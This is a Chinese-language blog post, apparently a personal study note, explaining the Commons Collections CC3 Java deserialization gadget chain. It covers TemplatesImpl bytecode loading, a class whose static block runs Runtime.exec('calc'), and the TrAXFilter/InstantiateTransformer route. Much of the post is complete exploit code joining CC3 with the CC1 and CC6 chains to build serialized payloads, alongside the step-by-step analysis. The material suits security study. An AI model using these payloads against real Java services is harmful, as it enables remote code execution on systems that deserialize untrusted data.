CC3

CC3_InvokerTransformer&&CC3_InstantiateTransformer

CC3_InvokerTransformer

image-20250428190941496

回顾类加载:

classLoader.loadClass

​ findClass—>子类.findClass(重写的ClassLoader的findclass)—> defineClass(从字节码加载类)

defineClass只加载类,并没有执行类,进行类的初始化,还需要实例化newInstance触发类的初始化

尾部:加载类执行任意代码

ClassLoader的defineclass方法作用域是protected ,找重写的public方法

在TemplatesImpl中 内部类TransletClassLoader继承了Classloader,有重写的默认defalut的defineClass

default说明可以在自己类中调用

image-20250421084139564

继续找用法,在TemplatesImpl自己类中找到 private 的defineTransletClasses调了自己的defineclass从字节码中加载类赋值给数组_class ,接着找谁调了defineTransletClasses

image-20250421084942921

  • 这里要注意:

    _bytecodes , _tfactory 都要赋值

    image-20250421164501487

继续谁调defineTransletClasses,找到三个用法

第三个getTransletInstance比较合适,因为它还实例化了,说明走完这个方法就能直接执行代码

其他两个用法一个返回数组,一个返回下标

但getTransletInstance是private的,继续找

image-20250421090806065

找到了TemplatesImpl的public newTransformer 调了getTransletInstance

image-20250421090957222

它还实现Serializable,可序列化,它的所有私有属性就可以反射修改

利用(传关键参数)

按上面的分析,执行就是实例化 TemplatesImpl对象后调newTransformer,走到getTransletInstance将加载的_class[] newInstance就可以了

执行:

TemplatesImpl.newTransformer.getTransletInstance———>>>

​ TemplatesImpl.getTransletInstance(_class[].newInstance 这里触发类加载初始化) <<<—————-

​ TemplatesImpl.defineTransletClasses(在此方法中调用它的一个内部类重写的defineclass从字节码加载类赋值到数组_class[]中)


现在就要具体构造:传一些关键参数

TemplatesImpl无参构造里面没有任何的赋值,找我们利用链上的需要赋值的属性来完成一些连接

image-20250421092803927

1 ._name , _class

TemplatesImpl.getTransletInstance中要先调defineTransletClasses,再执行_class[ _transletIndex].newInstance() image-20250421092300447

  • 有参构造器protected,无参构造器public没有实现任何初始化,所以 反射赋值_name

    1
    2
    3
    4
    5
    TemplatesImpl templates = new TemplatesImpl();
    Class<TemplatesImpl> c1 = TemplatesImpl.class;
    Field nameFiled = c1.getDeclaredField("_name");
    nameFiled.setAccessible(true);
    nameFiled.set(templates,"aaa");

2 ._bytecodes:

跟进到TemplatesImpl.getTransletInstance调的defineTransletClasses

  • image-20250421093212273

_bytecodes是二维数组

image-20250421093610675

但是最后defineClass加载类时调的参数_bytecodes,是一维数组的形式,

所以把想执行的代码放到一维数组中,套在二维数组中

image-20250421093953596

image-20250421094018451

写一个要加载的类:

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;
public class Test {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

赋值_bytecodes:

1
2
3
4
5
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);

3 ._tfactory

defineTransletClasses还有一个参数_tfactory,

image-20250423210821831

定义时为空 transient 限制了_tfactory不能被序列化

被标记为transient的属性在对象被序列化的时候不会被保存

image-20250421174933771

现在我们需要它不为空,但是现在赋值再反序列化, _tfactory肯定是不会被序列化,赋值自然无效

发现在readObject中就给_tfactory赋了值,所以我们不用管它等之后反序列化的时候它就会被赋值

image-20250421175335605

但现在为了看构造是否成功就先反射赋值,调newTransformer看效果

image-20250421190520423

1
2
3
4
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer transformer = templates.newTransformer();

报错了:
image-20250421200602172

调试进defineTransletClasses找问题

image-20250421215941833

还有就是_transletIndex现在默认值是-1<0,就算给 _auxClasses赋值,下面会抛出异常的

所以就让它满足if,给_transletIndex赋值

image-20250421220240417

由上面的for循环可知:superClass是加载的外部类的父类

所以就让写的这个要执行的类继承AbstractTranslet

image-20250421221223972

image-20250422102516144

但要注意AbstractTranslet是抽象类还实现了一个接口,写的这个类就要重写的抽象类所有抽象方法和抽象类没有实现接口的方法image-20250422102821774

要执行的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Test_ extends AbstractTranslet {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
}

所以现在构造为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}

上面这部分的构造就是构造的加载类执行代码,之后调用newTransformer与CC1或CC6一样

相当于把CC1的Runtime.getRuntime.exec(), rce 执行代码变成了CC3的加载类触发类初始化执行代码

完整EXP (invokerTransformer)

CC1+CC3(InvokerTransformer)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null),

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor2 = c.getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = constructor2.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

}
public static void serialize (Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize (String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

CC6+CC3(InvokerTransformer)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);

// Class<TrAXFilter> trAXFilterClass = TrAXFilter.class;
// trAXFilterClass.getDeclaredConstructor(Templates.class).newInstance(templates);
// templates.newTransformer();



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//不用ChainedTransformer+ConstantTransforme组合还控制不了transform(xx),xx 是在别的类中调transform是就赋好的

// InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);


HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa");
// tiedMapEntry.getValue();要调到getValue
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize("ser.bin");


CC3_InstantiateTransformer

image-20250428194352388

分析怎么调newTransformer

禁用InvokerTransformer

官方CC3中用了InstantiateTransformer

如果黑名单禁用Runtime,InvokerTransformer

尾部加载类执行任意代码还是一样的,但就不能用InvokerTransformer调任意方法,就不能调上面那条链中TemplatesImpl.newTransformer

那就找谁调用了newTransformer(不同类的同名函数)

找到TrAXFilter的有参构造函数中调用了templates.newTransformer,并且恰好templates是Templates类,要利用的是TemplatesImpl ,(相同类型)可以传参,但它没有继承Serializable,不能序列化,所以要执行构造器里面的话,直接new实例化肯定不行

image-20250422162017718

这时候就想它和Runtime一样,需要借助Class类反射传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Class<TrAXFilter> trAXFilterClass = TrAXFilter.class;
trAXFilterClass.getDeclaredConstructor(Templates.class).newInstance(templates);

成功弹出,可以利用

CC3的作者找到一个新的InstantiateTransformer.transform它就有点像InvokerTransformer.transform的平替,实现任意类反射实例化(调任意class的构造器)

  • InvokerTransformer.transform调任意方法
    • 调执行代码的就是RCE
    • 调TemplatesImpl.newTransformer从而执行类初始化 就是执行任意代码
  • InstantiateTransformer.transform反射调任意类的构造器实例化对象

image-20250422192152536

就可以换成InstantiateTransformer.transform的写法 方便与CC1或CC6前半部分相连

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//构造器的参数类型,构造器的参数
instantiateTransformer.transform(TrAXFilter.class);

成功弹出,后面接上CC1或CC6来调transform

CC1:

1
2
3
4
5
6
7
8
9
10
11
12
13
      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//构造器的参数类型,构造器的参数
//instantiateTransformer.transform(TrAXFilter.class);
HashMap map = new HashMap();
Map lazyMap = LazyMap.decorate(map,instantiateTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor2 = c.getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = constructor2.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

报错:

image-20250422202323139

原因:CC1在前面触发invoke方法时,就已经给get方法参数赋String类型的值了

而我们目标要利用的InstantiateTransformer.transform()方法需要将参数强转成Class

(主要是transform(xx)在利用连中由其他类的方法调用时,xx不可控)

image-20250423192324403

image-20250423192909345

image-20250423202204935

所以还是得用ChainedTransformer + ConstantTransformer 给它包裹起来

完整EXP(InstantiateTransformer)

CC1+CC3(InstantiateTransformer)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
// Field tfactory = c1.getDeclaredField("_tfactory");
//tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();



InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap map = new HashMap();
Map lazyMap = LazyMap.decorate(map,chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor2 = c.getDeclaredConstructor(Class.class, Map.class);
constructor2.setAccessible(true);
InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = constructor2.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

CC6+CC3(InstantiateTransformer)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
// Field tfactory = c1.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());

// Class<TrAXFilter> trAXFilterClass = TrAXFilter.class;
// trAXFilterClass.getDeclaredConstructor(Templates.class).newInstance(templates);
// templates.newTransformer();


InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);



HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa");
// tiedMapEntry.getValue();
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize("ser.bin");

CC3
https://bxhhf.github.io/2025/04/23/CC3/
作者
bxhhf
发布于
2025年4月23日
许可协议